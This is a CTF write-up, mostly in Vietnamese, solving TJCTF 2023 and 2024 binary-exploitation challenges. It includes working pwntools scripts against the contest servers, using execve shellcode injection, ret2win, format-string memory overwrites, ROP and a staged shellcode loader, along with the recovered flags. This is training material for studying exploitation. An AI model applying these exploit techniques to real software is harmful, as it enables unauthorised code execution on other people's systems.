# (writeup) TJCTF'23
## flip-out
- chall:
```bash
nc tjc.tf 31601
$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/e28bcc2bc9b4d12581c6290e41e74f3c3622acc8159dc8d128b2be7520f9a1f2/chall
```
- check file + checksec

- check ida

- đây là chương trình nhập vào 1 index để in ra nội dung của vị trí đó trong stack

- thì ta thấy chuỗi chữ 'Nothing to see here... Nothing to see here...' nó sẽ đc lưu vào biến **nptr**
- sau đó sẽ là các biến khác nối đuôi nhau
- flag dc lưu vào biến **v18**

- vậy bài này nối chuỗi bth thôi
```c
char nptr[46]; // [rsp+10h] [rbp-B0h] BYREF //46byte
__int16 v7; // [rsp+3Eh] [rbp-82h] //int16 là 2
__int64 v8; // [rsp+40h] [rbp-80h] //int64 là 8
__int64 v9; // [rsp+48h] [rbp-78h] //8
__int64 v10; // [rsp+50h] [rbp-70h] //8
__int64 v11; // [rsp+58h] [rbp-68h] //8
__int64 v12; // [rsp+60h] [rbp-60h] //8
__int64 v13; // [rsp+68h] [rbp-58h] //8
__int64 v14; // [rsp+70h] [rbp-50h] //8
__int64 v15; // [rsp+78h] [rbp-48h] //8
__int64 v16; // [rsp+80h] [rbp-40h] //8
__int64 v17; // [rsp+88h] [rbp-38h] //8
__int64 v18[6]; // [rsp+90h] [rbp-30h] BYREF //flag
```
> 46 + 2 + 8*10 = 128
- hoặc nhân sinh có nghi ngờ thì thử số này lun là ra

- remote

- bài này chắc k cần script nhưng viết ra cho mng lun:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
#p = process(exe.path)
p = remote('tjc.tf',31601)
payload = b'128'
p.sendline(payload)
p.interactive()
#tjctf{chop-c4st-7bndbji}
```
>tjctf{chop-c4st-7bndbji}
---
## shelly
- chall
```bash
nc tjc.tf 31365
$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/f4914c2f96e44e9190bb778009a505f0e5d87963ea2c37fa457bb9199343bcd4/chall
```
- check file + checksec

- check ida

> 256 byte biến s + 8 byte save_rbp ---> offset = 264
- chương trình sẽ in ra cho ta 1 cái stack của $rsp

- vậy việc mình là chèn shellcode, padding đến save_rbp, rip là stack ta leak ra được để return về shellcode của ta
- vậy bài này là ret2shellcode có leak bth

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall', checksec=False)
#p = process(exe.path)
p = remote('tjc.tf',31365)
# gdb.attach(p,gdbscript='''
# b*main+83
# b*main+234
# c
# ''')
# input()
stack = int(p.recvline()[:-1],16)
shellcode = asm(
'''
mov rbx, 29400045130965551
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''', arch='amd64')
payload = shellcode
payload = payload.ljust(264,b'A')
payload += p64(stack)
p.sendline(payload)
p.interactive()
#tjctf{s4lly_s3lls_s34sh3lls_50973fce}
```
>tjctf{s4lly_s3lls_s34sh3lls_50973fce}
---
## groppling-hook
- chall
```bash
nc tjc.tf 31080
$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/2fb71269ef3ca42ee788d340e2b71c1956e62a7b94ba45da55954f04042fcb7d/main.c
$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/21710f0bd9ebca8d37153d01d29b44c285373e5e9c340a0e2b780b8aa4a7caaf/out
$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/908c56a7f366fa7795a8609e9b33f40dd525c4b40dd4436d9f6e2690aba0ade6/Dockerfile
```
- check file + checksec

- check source
```c
#include "stdio.h"
#include <stdlib.h>
void laugh()
{
printf("ROP detected and denied...\n");
exit(2);
}
void win()
{
FILE *fptr;
char buf[28];
// Open a file in read mode
fptr = fopen("flag.txt", "r");
fgets(buf, 28, fptr);
puts(buf);
}
void pwnable()
{
char buffer[10];
printf(" > ");
fflush(stdout);
read(0, (char *)buffer, 56);
/* Check ret */
__asm__ __volatile__("add $0x18, %rsp;"
"pop %rax;"
"cmp $0x0401262, %rax;"
"jle EXIT;"
"cmp $0x040128a, %rax;"
"jg EXIT;"
"jmp DONE;"
"EXIT:"
"call laugh;"
"DONE: push %rax;");
return;
}
int main()
{
setbuf(stdout, NULL);
pwnable();
return 0;
}
```
- nhìn sơ qua source, có thể đoán rằng đây là ret2win
- tìm offset

>18 bytes
- ret2win này đặc biệt có thêm kiểm tra thông qua mã lệnh asm

> nhảy số 1 (jle: jump less_equal) so sánh bé hơn hoặc bằng
> ---> return về EXIT
> EXIT là hàm laugh (cười dô bản mặt)
> nhảy số 2 (jg: jump greater) so sánh lớn hơn
> ---> return về EXIT
> nếu không lớn hơn sẽ jmp bình thường (jump: nhảy)
> ---> return về DONE
> DONE là sẽ đưa giá trị hiện tại của rax lên rsp lại
> rồi nop, leave, ret bình thường
- vậy ta cần rip ta là 1 địa chỉ lưng chừng giữa 0x401262 và 0x040128a là được, nhưng vì địa chỉ 0x040128a là ret của hàm **main** nên ret về main sẽ tiếp tục ret
```python
payload = b'A'*18
payload += p64(part2)
payload += p64(exe.sym['win'])
```
- còn lùi về 0x0401289 sẽ còn 1 lệnh ``pop rbp`` sẽ đưa địa chỉ ta ret tiếp theo vào rbp và sau đó exit main bình thường

- muốn lì với cách này thì payload sẽ như sau
```python
payload = b'A'*18
payload += p64(part2 - 1)
payload += p64(exe.sym['win']) #pop vào rbp
payload += p64(exe.sym['win']+1) #né lỗi xmm1
```
- sau hàm check hợp ngữ asm đó nó sẽ ret 1 lần nữa nên lần này sau rip sẽ là hàm **win** của mình
- return 2 lần là được

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./out',checksec=False)
#p = process(exe.path)
p = remote('tjc.tf',31080)
# gdb.attach(p,gdbscript='''
# b*pwnable+65
# b*pwnable+70
# c
# ''')
# input()
part1 = 0x0401262
part2 = 0x040128a
payload = b'A'*18
payload += p64(part2)
payload += p64(exe.sym['win'])
p.sendafter(b'> ',payload)
p.interactive()
#tjctf{this_i#-my-questsss}
```
>tjctf{this_i#-my-questsss}
---
## formatter
- chall
```bash
nc tjc.tf 31764
$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/2e7d0edc4f63c0321c8976780d6d416b2784de0b808551ae8e07543830bfe728/chall
```
- check file + checksec

- check ida

>nhập 256 byte vào chuỗi **s**
>in ra lại **s** ---> fmtstr
> nhảy vào hàm **r1** với tham số là 8 byte đầu của chuỗi **s**
> rồi kiểm tra với hàm **win**

> hàm này sẽ cộng cái con trỏ ``*xd`` lên 2

> AIM🎯 : xd = 0x86a693e

>hàm **r2** với **r3** bịp thôi
- từ ida ta thấy biến **xd** là 1 cái heap

- con trỏ ``*xd`` sẽ so sánh với 0x86a693e , tức là bên trong heap sẽ so sánh với số đó

- hmmm, nhập dc có 1 lần duy nhất
- idea sẽ là ow địa chỉ khác ghi được chứa giá trị 0x86a693e vào con trỏ ``*xd`` (đúng hơn là 0x86a693e - 2 = 0x86a693c do còn qua hàm **r1**)

> xd là heap, ``*xd`` là rỗng(chưa qua hàm **r1**)

>sau khi qua hàm **r1**

>trong hàm win, so sánh eax với giá trị 0x86a693e

>eax hiện tại : 0x2
- thực thi cái idea

>dừng ở lần nhập
- ta chừa 5 hàng địa trống ở trên để chèn payload
- ở vị trí tô trắng đó (%11) ta sẽ bắt đầu ghi đè thành vùng nhớ ghi được, và ghi 1/2 lượng giá trị 0x86a693e
```python
payload = f"%{part1}c%11$hn".encode()
---------------------------------------------
payload += p64(rw_section + 2)
```
- ở vị trí tiếp theo (%12) ghi lượng còn lại vào địa chỉ ghi được ở phân vùng thấp hơn 2 (do đã ghi 2 ở trước, sẽ bắt đầu ghi tiếp nối đuôi nhau)
```python
payload += f"%{part2 - part1}c%12$hn".encode()
----------------------------------------------
payload += p64(rw_section)
```
- ở vị trí kế tiếp (%13) sẽ ghi thành phân vùng ghi được trước đó vào biến **xd** (sẽ ghi rw_section đè lên cả heap)
```python
payload += f"%{rw_section - part2}c%13$n".encode()
----------------------------------------------
payload += p64(xd) #0x403440
```
>ghi lần 3 thì phải trừ 2 lần đầu
> p3 - (p2 - p1) - p1 = p3 - p2 +(p1 - p1) = p3 - p2

>trước fmtstr

>sau fmtstr

>so sánh eax vs 0x86a693e
- get flag:

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
#p = process(exe.path)
p = remote('tjc.tf', 31764)
# gdb.attach(p,gdbscript='''
# b*main+95
# b*main+115
# b*main+120
# b*r1+54
# b*win+46
# c
# ''')
# input()
rw_section = 0x403a00
win = 0x86a693c
part1 = 0x86a
part2 = 0x693c
xd = 0x403440
payload = f"%{part1}c%11$hn".encode()
payload += f"%{part2 - part1}c%12$hn".encode()
payload += f"%{rw_section - part2}c%13$n".encode()
payload = payload.ljust(40)
payload += p64(rw_section + 2)
payload += p64(rw_section)
payload += p64(xd)
p.sendline(payload)
p.interactive()
#tjctf{f0rm4tt3d_5883cc30}
```
>tjctf{f0rm4tt3d_5883cc30}
---
## teenage-game
- chall
```bash
nc tjc.tf 31119
$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/e5685714ecab551b28d2ddb9470b651a5f4ce5e744a30a71e4f2ec161ac21dc9/game
$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/52457786ee0094ea41227ae5f8bdfa6ed08b5218150cc9e4ec1e7f50571ce963/Dockerfile
$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/efe13ea610d23f09bc4782097a07f944ed1006904ea15e890b85db951953bcf0/connect.sh
```
- check file + checksec

- check ida

- bài này y hệt bài baby-game-2 hồi giải pico_ctf_23 nên coi [wu](https://hackmd.io/@trhoanglan04/BkNgwg7xn#babygame02) bên đây hen

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./game',checksec=False)
#p = process(exe.path)
p = remote('tjc.tf', 31119)
# gdb.attach(p,gdbscript='''
# b*main+179
# b*move_player+212
# b*main+213
# c
# ''')
# input()
win = exe.sym['win'] + 5 & 0xff # +5 để né lỗi xmm0
payload = b'l' + p8(win)
p.sendline(payload)
payload = b'wwwaaaaaaaaaaaaaa'
p.sendline(payload)
payload = b'aaaaaaaaaaaaaaw'
p.sendline(payload)
p.interactive()
#tjctf{so_many_new_features_but_who_will_stop_the_underflow?_47c6f204377cb18b30e68da46e9930dc}
```
>``tjctf{so_many_new_features_but_who_will_stop_the_underflow?_47c6f204377cb18b30e68da46e9930dc}``
---
# (writeup) TJCTF'24
## cowsay
- solution:
``%10$s``

## baby-heap
- solution:
``0x81``
``0x70``

## ring-opening-polimerization
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./out',checksec=False)
# p = process(exe.path)
p = remote('tjc.tf',31457)
# gdb.attach(p,gdbscript='''
# b*0x401231
# c
# ''')
# input()
pop_rdi = 0x000000000040117a
payload = b'a'*8*2
payload += p64(pop_rdi) + p64(0xdeadbeef)
payload += p64(exe.sym.win)
p.sendline(payload)
p.interactive()
#tjctf{bby-rop-1823721665as87d86a5}
```
## sled
- script:
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./out',checksec=False)
# p = process(exe.path)
p = remote('tjc.tf',31456)
# gdb.attach(p,gdbscript='''
# b*main+44
# c
# ''')
# input()
payload = asm('''
push rdx
pop rsi
add rsi, 0xd
push rax
pop rdi
push r11
pop rdx
syscall
nop
''',arch='amd64')
p.sendline(payload)
shellcode = asm(shellcraft.sh())
# shellcode = b'\x90'*100
sleep(3)
p.send(shellcode)
p.interactive()
#tjctf{bby-shhEellLcodeeeeeaf7af7f66}
```